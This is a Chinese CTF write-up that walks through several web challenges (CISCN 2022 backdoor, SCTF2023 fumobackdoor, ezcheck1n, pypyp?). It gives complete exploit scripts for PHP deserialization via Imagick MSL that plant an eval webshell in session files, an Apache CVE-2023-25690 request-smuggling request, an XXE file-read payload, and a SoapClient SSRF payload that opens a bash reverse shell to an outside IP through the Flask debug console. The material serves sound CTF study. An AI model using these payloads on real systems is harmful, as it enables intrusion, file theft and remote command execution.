fumobackdoor
这道fumobackdoor和2022ciscn总决赛的backdoor其实差不多一道题(出题人都是一个人),今天就来分析一下这两道题的详细做题流程。
2022CISCN总决赛backdoor
这道题还是挺有意思的,出现了__sleep魔术方法,这个方法在数据被序列化的时候自动调用,而自动序列化数据的场合比较少,这里使用的是session_start,先反序列化session文件中的数据并放进$SESSION(如果有的话),再序列化存回去。

首页给了源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| <?php error_reporting(E_ERROR); class backdoor { public $path = null; public $argv = null; public $class = "stdclass"; public $do_exec_func = true; public function __sleep() { if (file_exists($this->path)) { return include $this->path; } else { throw new Exception("__sleep failed..."); } }
public function __wakeup() { if ( $this->do_exec_func && in_array($this->class, get_defined_functions()["internal"]) ) { call_user_func($this->class); } else { $argv = $this->argv; $class = $this->class; new $class($argv); // 没有echo } } }
$cmd = $_REQUEST['cmd']; $data = $_REQUEST['data'];
switch ($cmd) { case 'unserialze': unserialize($data); break; case 'rm': system("rm -rf /tmp"); break; default: highlight_file(__FILE__); break; }
|
首先看到wakeup可以执行一个无参函数(可以先执行phpinfo来看看信息)
再看到sleep函数中include,文件包含rce漏洞,可以想到将马写入到session文件再include即可执行命令,而要调用sleep函数必须要有序列化进程,而session_start()函数刚好就是一个先将session文件反序列化再序列化的无参函数,问题转向控制session文件的内容。
控制session文件内容
phpinfo中提到使用了imagick拓展,且通过参考文章(以后遇到了类似这种构造类的也可以参考这篇文章,写得太全了),利用php任意类构造,new $a($b)
,可以使用imagick触发msl,从而执行msl,将指定的内容写入到指定的位置,具体操作是new imagick(vid:msl:/tmp/php*)

可以使用通配符就不用爆破php后6位,注意msl必须是一个标准的图片格式(xml),使用ppm格式,前面写上必要的参数来解析,带上脏数据(注意脏数据字符的个数是有讲究的,不然后面的base64解出来就是乱码)并在后面写上一句话木马和要反序列化的backdoor对象,backdoor对象注意设置path就是/tmp/session_sessionid。文件示意如下:
1 2 3 4 5
| <?xml version="1.0" encoding="UTF-8"?> <image> <read filename="inline:data://image/x-portable-anymap;base64,UDYKOSA5CjI1NQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8P3BocCBldmFsKCRfR0VUWzFdKTs/PnxPOjEzOiJmdW1vX2JhY2tkb29yIjozOntzOjQ6InBhdGgiO3M6OToiL3RtcC9GTEFHIjtzOjQ6ImFyZ3YiO047czoxOiJjIjtOO30=" /> <write filename="/tmp/sess_tel" /> </image>
|
session_start调用sleep从而实现include然后rce
接着通过指定sessionid去调用session_start函数,session_start就会将指定sessionid的session文件反序列化,再将其序列化从而执行sleep,实现session文件包含,同时传入命令即可实现rce。

总的exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| import re import sys import time import requests
timeout = 30
host = "127.0.0.1" port = "32768"
url = f"http://{host}:{port}" write_session_payload = "O%3A8%3A%22backdoor%22%3A3%3A%7Bs%3A14%3A%22%00backdoor%00argv%22%3Bs%3A17%3A%22vid%3Amsl%3A%2Ftmp%2Fphp%2A%22%3Bs%3A15%3A%22%00backdoor%00class%22%3Bs%3A7%3A%22imagick%22%3Bs%3A12%3A%22do_exec_func%22%3Bb%3A0%3B%7D" session_sleep_chain_payload = "O%3A8%3A%22backdoor%22%3A2%3A%7Bs%3A5%3A%22class%22%3Bs%3A13%3A%22session_start%22%3Bs%3A12%3A%22do_exec_func%22%3Bb%3A1%3B%7D"
def rm_tmp_file(): headers = {"Accept": "*/*"} requests.get( f"{url}/?cmd=rm", headers=headers )
def upload_session(): headers = { "Accept": "*/*", "Content-Type": "multipart/form-data; boundary=------------------------c32aaddf3d8fd979" } data = "--------------------------c32aaddf3d8fd979\r\nContent-Disposition: form-data; name=\"swarm\"; filename=\"swarm.msl\"\r\nContent-Type: application/octet-stream\r\n\r\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<image>\r\n <read filename=\"inline:data://image/x-portable-anymap;base64,UDYKOSA5CjI1NQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADw/cGhwIGV2YWwoJF9HRVRbMV0pOz8+fE86ODoiYmFja2Rvb3IiOjI6e3M6NDoicGF0aCI7czoxNDoiL3RtcC9zZXNzX2Fma2wiO3M6MTI6ImRvX2V4ZWNfZnVuYyI7YjowO30=\" />\r\n <write filename=\"/tmp/sess_afkl\" />\r\n</image>\r\n--------------------------c32aaddf3d8fd979--" try: requests.post( f"{url}/?data="+write_session_payload+"&cmd=unserialze", headers=headers, data=data ) except requests.exceptions.ConnectionError: pass
def get_flag(): cookies = {"PHPSESSID": "afkl"} headers = {"Accept": "*/*"} response = requests.get( f"{url}/?data="+session_sleep_chain_payload+"&cmd=unserialze&1=system('/readflag');", headers=headers, cookies=cookies ) return re.findall(r"(flag\{.*\})", response.text)
if __name__ == '__main__': rm_tmp_file() upload_session()
time.sleep(1)
print(get_flag()[0])
|
fumobackdoor
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| <?php error_reporting(0); ini_set('open_basedir', __DIR__.":/tmp"); define("FUNC_LIST", get_defined_functions());
class fumo_backdoor { public $path = null; public $argv = null; public $func = null; public $class = null; public function __sleep() { if ( file_exists($this->path) && preg_match_all('/[flag]/m', $this->path) === 0 ) { readfile($this->path); } }
public function __wakeup() { $func = $this->func; if ( is_string($func) && in_array($func, FUNC_LIST["internal"]) ) { call_user_func($func); } else { $argv = $this->argv; $class = $this->class; new $class($argv); } } }
$cmd = $_REQUEST['cmd']; $data = $_REQUEST['data'];
switch ($cmd) { case 'unserialze': unserialize($data); break; case 'rm': system("rm -rf /tmp 2>/dev/null"); break; default: highlight_file(__FILE__); break; }
|
通过源码可以注意到与上一题最大的不同就是最后不再include,而是直接readfile,这就导致我们不能直接rce,只能通过读的方式来获得flag,而读文件的位置又不能是原来的/flag,故可以考虑将flag复制到别的文件再进行读取。刚好,msl里面也可以将一个文件的内容读到另一个文件。故其实本题和上一题相比只是多了一个步骤,就是先转移文件,再控制session,再通过session_start来执行sleep,从而读到文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| import requests import time url = "http://182.92.6.230:18080/?cmd=unserialze"
r = requests.get("http://182.92.6.230:18080/?cmd=rm") time.sleep(1)
r = requests.post(url,data={"data":'O:13:"fumo_backdoor":4:{s:4:"path";N;s:4:"argv";s:17:"vid:msl:/tmp/php*";s:4:"func";N;s:5:"class";s:7:"Imagick";}'}, files={"file1":open("lfi.xml").read()},headers={"Cookie":"PHPSESSID=tel"}) time.sleep(1)
r = requests.post(url,data={"data":'O:13:"fumo_backdoor":4:{s:4:"path";N;s:4:"argv";s:17:"vid:msl:/tmp/php*";s:4:"func";N;s:5:"class";s:7:"Imagick";}'}, files={"file1":open("hack.xml").read()},headers={"Cookie":"PHPSESSID=tel"}) time.sleep(1)
r = requests.post(url,data={"data":'O:13:"fumo_backdoor":4:{s:4:"path";s:9:"/tmp/FLAG";s:4:"argv";N;s:4:"func";s:13:"session_start";s:5:"class";N;}'},headers={"Cookie":"PHPSESSID=tel"}) print(r.text)
|
其中,lfi.xml:
1 2 3 4 5
| <?xml version="1.0" encoding="UTF-8"?> <image> <read filename="app1:/flag" /> <write filename="/tmp/FLAG" /> </image>
|
hack.xml:
1 2 3 4 5
| <?xml version="1.0" encoding="UTF-8"?> <image> <read filename="inline:data://image/x-portable-anymap;base64,UDYKOSA5CjI1NQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8P3BocCBldmFsKCRfR0VUWzFdKTs/PnxPOjEzOiJmdW1vX2JhY2tkb29yIjozOntzOjQ6InBhdGgiO3M6OToiL3RtcC9GTEFHIjtzOjQ6ImFyZ3YiO047czoxOiJjIjtOO30=" /> <write filename="/tmp/sess_tel" /> </image>
|
ezcheck1n
如果访问 http://115.239.215.75:8082/2023/
则返回的数据头中存在 Server: Apache/2.4.54 (Debian),而如果访问 http://115.239.215.75:8082/
那么返回的数据头是 Apache/2.4.55 (Unix),这就是题目描述中的两个容器,说明访问2023的时候进行了路由转发,而根据提示内容可知2023.php中并没有真正的flag,真正的flag在过去,猜测在/2022.php中,于是问题转换为如何在请求包没有/2023/的情况下也发生路由转发,并请求2022.php。可以联想到http走私,先发一个有2023的,再跟上一个/2022.php的请求包(和前端检测绕过差不多)
有个CVE-2023-25690 Apache HTTP Server请求走私漏洞,Apache版本低于2.4.55,这里可以利用,这个漏洞简单说来就是当正则匹配到uri的一部分的时候会运用重写规则并向后端服务器发出请求,而在向后端发出请求的过程中我们传入的r->uri经过url解码,也就是说控制字符都被解析了,联想到CRLF攻击,其实这里也差不多,通过%0d%0a来拼接两个数据包即可达到先2023再向后端发起2022请求。请求url填自己的vps就可以获得flag,拼起来如下:
1 2 3 4 5 6 7 8 9 10
| GET /2023/%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/2022.php%3furl%3d43.143.246.73%3a7777 HTTP/1.1 Host: 115.239.215.75:8082 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://115.239.215.75:8082/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close
|
拆开就是下面这两个请求包
1 2 3 4 5 6 7 8 9 10 11 12 13
| GET /2023/ HTTP/1.1 Host:localhost
GET /2022.php?url=43.143.246.73:7777 HTTP/1.1 Host: 115.239.215.75:8082 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://115.239.215.75:8082/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close
|
参考链接
SCTF2023 Web | TEL (l1nyz-tel.cc)
CVE-2023-25690 Apache HTTP Server 请求走私漏洞 分析与利用 - 先知社区 (aliyun.com)
pypyp?
a piece of cake but hard work。per 5 min restart.
pay attention to /app/app.py
开启SESSION
浅谈 SESSION_UPLOAD_PROGRESS 的利用-腾讯云开发者社区-腾讯云 (tencent.com)
Session Upload Progress 最初是PHP为上传进度条设计的一个功能,在上传文件较大的情况下,PHP将进行流式上传,并将进度信息放在Session中,此时即使用户没有初始化Session,PHP也会自动初始化Session。而且,默认情况下session.upload_progress.enabled是为On的,也就是说这个特性默认开启。所以,我们可以通过这个特性来在目标主机上初始化Session。
session中一部分数据(session.upload_progress.name)是用户自己可以控制的。那么我们只要在上传文件的时候,同时POST一个恶意的字段 PHP_SESSION_UPLOAD_PROGRESS
,目标服务器的PHP就会自动启用Session,Session文件将会自动创建
1 2 3 4 5 6 7 8 9 10
| <!doctype html> <html> <body> <form action="http://192.168.43.82/index.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /> <input type="file" name="file" /> <input type="submit" /> </form> </body> </html>
|
随便上传个文件,加个cookie是PHPSESSID=就可以开启session。
开头先用这个方法创建个session可以看到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php error_reporting(0); if(!isset($_SESSION)){ die('Session not started'); } highlight_file(__FILE__); $type = $_SESSION['type']; $properties = $_SESSION['properties']; echo urlencode($_POST['data']); extract(unserialize($_POST['data'])); if(is_string($properties)&&unserialize(urldecode($properties))){ $object = unserialize(urldecode($properties)); $object -> sctf(); exit(); } else if(is_array($properties)){ $object = new $type($properties[0],$properties[1]); } else { $object = file_get_contents('http://127.0.0.1:5000/'.$properties); } echo "this is the object: $object <br>";
?>
|
extract(unserialize($_POST[‘data’]));,extract导致的变量覆盖漏洞
extract官方功能说明为“从数组中将变量导入到当前的符号表”,通俗讲就是将数组中的键值对注册成变量,如果变量已注册就覆盖他们的值
因此,通过data的传入,type和properties可以自由控制
1 2 3
| $object -> sctf(); $object = new $type($properties[0],$properties[1]); file_get_contents('http://127.0.0.1:5000/'.$properties);
|
SimpleXMLElement XXE任意文件读取
第二个new了一个类,并且有两个参数,可以通过php原生类加以利用,结合SimpleXMLElement来进行XXE攻击,从而实现任意文件读取
1 2 3 4
| <?php $xxe = array('<?xml version="1.0" ?><!DOCTYPE ANY[<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><root>&xxe;</root>',2); $data = array('type'=>'SimpleXmlElement','properties'=>$xxe); echo serialize($data);
|
根据题目提示,读/app/app.py
1 2 3 4 5 6 7 8 9 10 11
| from flask import Flask
app = Flask(__name__)
@app.route('/') def index(): return 'Hello World!'
if __name__ == '__main__': app.run(host="0.0.0.0",debug=True)
|
Flask算PIN
可以看到开了debug模式,那肯定考的就是算pin了,算pin脚本如下
Flask-cookie-generation-based-on-PIN-code/get_flask_pin_and_cookie.py at main · WiIs0n/Flask-cookie-generation-based-on-PIN-code (github.com)
- username:通过查看/etc/passwd可以看到全部的用户,有一个叫做app的,是这个用户
- modename:默认值为flask.app,不需要改
- appname:默认值为Flask,不需要改
- basefile:app.py的存放位置,这里可以猜,大部分默认都是
/usr/lib/python3.x/site-packages/flask/app.py
,这里python版本是3.8,用FileSystemIterator这个原生类配合glob协议读一下
- uuid:一般读取这个文件:
/sys/class/net/eth0/address
的十进制
- machineid:题目是docker环境,所以是
/proc/sys/kernel/random/boot_id
后拼接/proc/sys/kernel/random/boot_id+/proc/self/cgroup
的docker部分
可以本地起一个flask服务,进入debug模式看看要传的是什么参数。
输pin码的时候抓个包,还要传入的参数是s,也就是flask的secretkey,通过访问/console路由可以得到,源码里当properties是字符串的时候可以访问内网
1
| data=a:1:{s:10:"properties";s:7:"console";}
|
在console输命令的时候抓个包,发现这时候还要带上cookie,刚刚算出来的cookie就要用上。参数cmd输命令。
SoapClient实现SSRF反弹shell
无法通过请求原来的页面进行rce,因为没法把cookie带过去,所以我们又要通过一个原生类来直接向console发包,可以联想到SoapClient,SoapClient能发http请求到内网(ssrf)的关键在于自动调用的__call__
方法,这时候可以看到源码中三个if目前还没有利用上的最后一个if
1 2 3 4
| if(is_string($properties)&&unserialize(urldecode($properties))){ $object = unserialize(urldecode($properties)); $object -> sctf(); exit();
|
看似调用的是sctf(),其实是__call__
方法,因为没有sctf这个方法,从而可以借助SoapClient实现SSRF,执行命令并反弹个shell到自己的vps上
1 2 3 4 5
| <?php $sop = new SoapClient(null,array('user_agent'=>"test\r\nCookie: __wzdb2a60e2b19822632a67c=1687701860|11b8517fb9fb",'location'=>'http://127.0.0.1:5000/console?__debugger__=yes&cmd=__import__("os").popen(%22bash%20-c%20%5C%22bash%20-i%20%3E%26%20/dev/tcp/43.143.246.73/7777%200%3E%261%5C%22%22)&frm=0&s=DhOJxtvMXCtezvKtqaK9','uri'=>'test')); $arr = array("properties"=>urlencode(serialize($sop))); $b = serialize($arr); echo $b;
|
SUID提权
拿到shell之后发现还不够权限看flag,需要提权。
这里使用的是suid提权,先查查有哪些文件可以不用密码以root身份执行
1 2
| find / -user root -perm -4000 -print 2>/dev/null&find / -perm -u=s -type f 2>/dev/nullfind / -us er root -perm -4000 -exec ls -ldb {} ;
|
找到有curl,直接用curl+file协议读本地文件flag即可

参考链接:
SCTF2023 Web | TEL (l1nyz-tel.cc)
SCTF-Web复现 | y1’s Blog (y1zh3e7.github.io)
对Linux|suid提权的一些总结 - FreeBuf网络安全行业门户
浅谈 SESSION_UPLOAD_PROGRESS 的利用-腾讯云开发者社区-腾讯云 (tencent.com)
先复现这三题吧,后面的有点复杂了,以后再来看。